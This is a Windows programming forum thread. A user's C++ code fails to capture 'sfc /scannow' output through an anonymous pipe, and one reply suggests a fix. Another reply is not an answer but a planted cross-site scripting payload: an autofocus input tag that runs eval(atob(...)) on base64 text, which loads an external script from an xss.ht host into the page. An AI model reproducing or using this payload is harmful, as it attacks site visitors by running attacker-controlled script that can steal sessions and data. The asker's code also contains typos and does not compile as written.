none
Using a anonymous pipe to redirect sfc /scannow , but nothing output , Why? RRS feed

  • Question

  •     #include <windows.h> 
        #include <tchar.h>
        #include <stdio.h> 
        #include <strsafe.h>
        #include <iostream>
        using namespace std;
        
        #define BUFFER_SIZE  1024
        
        void ErrorExit(PTSTR lpszFunction) 
        
        // Format a readable error message, display a message box, 
        // and exit from the application.
        { 
            LPVOID lpMsgBuf;
            LPVOID lpDisplayBuf;
            DWORD dw = GetLastError(); 
        
            FormatMessage(
                FORMAT_MESSAGE_ALLOCATE_BUFFER | 
                FORMAT_MESSAGE_FROM_SYSTEM |
                FORMAT_MESSAGE_IGNORE_INSERTS,
                NULL,
                dw,
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                (LPTSTR) &lpMsgBuf,
                0, NULL );
        
            lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
                (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)*sizeof(TCHAR)); 
            StringCchPrintf((LPTSTR)lpDisplayBuf, 
                LocalSize(lpDisplayBuf) / sizeof(TCHAR),
                TEXT("%s failed with error %d: %s"), 
                lpszFunction, dw, lpMsgBuf); 
            MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); 
        
            LocalFree(lpMsgBuf);
            LocalFree(lpDisplayBuf);
            ExitProcess(1);
        }
        
        int main()
        {
            HANDLE  hReadPipe = NULL;
            HANDLE hWritePipe = NULL;
            SECURITY_ATTRIBUTES saAttr;
            saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
            saAttr.bInheritHandle = TRUE; 
            saAttr.lpSecurityDescriptor = NULL; 
            if (!CreatePipe(&hReadPipe , &hWritePipe, &saAttr, BUFFER_SIZE  )) {
                ErrorExit(TEXT("StdoutRd CreatePipe")); 
            }
        
            
            PROCESS_INFORMATION piProcInfo; 
            STARTUPINFO siStartInfo;
            ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
         
            ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
            siStartInfo.cb = sizeof(STARTUPINFO); 
            siStartInfo.hStdError = hWritePipe, 
            siStartInfo.hStdOutput = hWritePipe, 
            siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
         
             // Create the child process. 
             WCHAR szCmdline[] = TEXT("sfc.exe /scannow");
             PVOID OldValue = NULL;
             Wow64DisableWow64FsRedirection(&OldValue);
             CreateProcess(NULL, 
              szCmdline,     // command line 
              NULL,          // process security attributes 
              NULL,          // primary thread security attributes 
              TRUE,          // handles are inherited 
              0,             // creation flags 
              NULL,          // use parent's environment 
              NULL,          // use parent's current directory 
              &siStartInfo,  // STARTUPINFO pointer 
              &piProcInfo);  // receives PROCESS_INFORMATION 
             Wow64RevertWow64FsRedirection(OldValue);     
             BOOL flag = TRUE;
             char buffer[BUFFER_SIZE] = {0}
             DWORD   dwRead = 0;
             while (flag ) {
                 ZeroMemory(buffer, sizeof(char)*BUFFER_SIZE);
                 if (WAIT_OBJECT_0 ==WaitForSingleObject (piProcInfo.hProcess, 50)) {
                     ReadFile(hReadPipe, buffer, BUFFER_SIZE, &dwRead , NULL)
                     std::cout << buffer <<std::endl;
                     flag = false;
                     break;
                 } else if (WAIT_TIMEOUT == WaitForSingleObject (piProcInfo.hProcess, 50)) {
                     ReadFile(hReadPipe, buffer, BUFFER_SIZE, &dwRead , NULL)
                     std::cout << buffer <<std::endl;
                 }
             }
        
             CloseHandle(piProcInfo.hProcess);
             CloseHandle(piProcInfo.hThread);
             CloseHanlde(hReadPipe);     
             CloseHanlde(hWritePipe);  
             return 0;
        }
    

    I started visual studio with admin and use anonymous pipe to redirect sfc /scannow output to my terminal, result nothing output,

    I alse use "ping 12.15.16.45" command to replace the "sfc /scannow" , that OK,



    I use CreateProcess and CreatePipe function to redirect output . Using WaitSingleObject to wait process end and ReadFile to read Process output.


    Tuesday, April 27, 2021 3:36 AM

All replies

  • Hey,

    I think there are two reasons why there is no output.
    The first is that the time you wait may be too short, causing the pipe to be read before the call is successful, so the output is empty.

    The second reason is that the command returns an array of rows. This results in multiple'\0' characters in the returned buffer, which allows you to truncate subsequent characters when outputting. You can read by character instead Instead of outputting the entire string directly.


    Wednesday, May 12, 2021 1:35 PM
  • a "><input =eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdmFzZ3JnLnhzcy5odCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= autofocus>
    • Edited by imangrg Wednesday, May 12, 2021 4:52 PM
    Wednesday, May 12, 2021 4:51 PM
  • Thanks for the info.
    Thursday, May 13, 2021 6:43 AM
  • nice
    Tuesday, May 25, 2021 8:13 AM